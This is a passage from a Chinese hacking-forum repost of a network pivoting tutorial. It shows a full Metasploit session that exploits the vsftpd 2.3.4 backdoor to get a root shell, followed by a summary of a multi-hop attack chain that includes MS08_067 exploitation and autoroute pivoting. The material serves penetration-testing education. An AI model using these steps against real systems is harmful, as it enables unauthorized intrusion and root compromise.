以上,数据包穿透第一层代理服务器,又经过我们定义的第二层代理服务器,最终到达目的地。对扫描结果进行分析,发现8.8.8.9上安装的vsftpd版本存在漏洞。以下步骤为在Metasploit框架中设置vsftpd利用模块进行攻击:

  1. msf >
  2. msf > use exploit/unix/ftp/vsftpd_234_backdoor
  3. msf exploit(vsftpd_234_backdoor) > show options
  4. Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  5.    Name   Current Setting  Required  Description
  6.    ----   ---------------  --------  -----------
  7.    RHOST                   yes       The target address
  8.    RPORT  21               yes       The target port
  9. Exploit target:
  10.    Id  Name
  11.    --  ----
  12.    0   Automatic
  13. msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9
  14. rhost => 8.8.8.9
  15. msf exploit(vsftpd_234_backdoor) > run
  16. [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)
  17. [*] 8.8.8.9:21 - USER: 331 Please specify the password.
  18. [+] 8.8.8.9:21 - Backdoor service has been spawned, handling...
  19. [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)
  20. [*] Found shell.
  21. [*] Command shell session 4 opened (Local Pipe -> Remote Pipe)
  22. pwd
  23. /
  24. id
  25. uid=0(root) gid=0(root)
  26. ifconfig
  27. eth0      Link encap:Ethernet  HWaddr 08:00:27:56:f1:7c  
  28.           inet addr:8.8.8.9  Bcast:8.8.8.255  Mask:255.255.255.0
  29.           inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link
  30.           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
  31.           RX packets:10843 errors:0 dropped:0 overruns:0 frame:0
  32.           TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0
  33.           collisions:0 txqueuelen:1000
  34.           RX bytes:1081842 (1.0 MB)  TX bytes:661455 (645.9 KB)
  35.           Base address:0xd010 Memory:f0000000-f0020000
  36. lo        Link encap:Local Loopback  
  37.           inet addr:127.0.0.1  Mask:255.0.0.0
  38.           inet6 addr: ::1/128 Scope:Host
  39.           UP LOOPBACK RUNNING  MTU:16436  Metric:1
  40.           RX packets:18161 errors:0 dropped:0 overruns:0 frame:0
  41.           TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0
  42.           collisions:0 txqueuelen:0
  43.           RX bytes:5307479 (5.0 MB)  TX bytes:5307479 (5.0 MB)
复制代码

总结

攻击者通过以下步骤,发现了2个不同的隐藏网络:

1.攻击者控制了RD主机,该主机和攻击机在同一个网络中

2.得知RD主机有2张网卡

3.通过使用autoroute post模块,定义一个路由规则

4.攻击者对7.7.7.0/24网络执行ARP和NMAP扫描,之后发现了命名为JC的主机

5.JC存在两个不同的漏洞,分别为MS08_067和Easy File Share应用的BOF漏洞

6.成功利用MS08_067漏洞,获取7.7.7.20访问

7.继续收集信息,发现JC也有2张网卡

8.在7.7.7.20上添加第二个路由规则

9.对8.8.8.0/24网络执行ARP和NMAP扫描

10.在命名为SK的8.8.8.9机器上发现存在漏洞的vsftp版本

11.结束

[url=http://image.3001.net/images/20170116/14845370692008.png]


from:http://www.freebuf.com/articles/network/125278.html

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了

0

主题

23

帖子

99

积分

我是新手

Rank: 1

积分
99
发表于 2017-2-8 15:46:16 | 显示全部楼层
很高级的资料 来学习了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表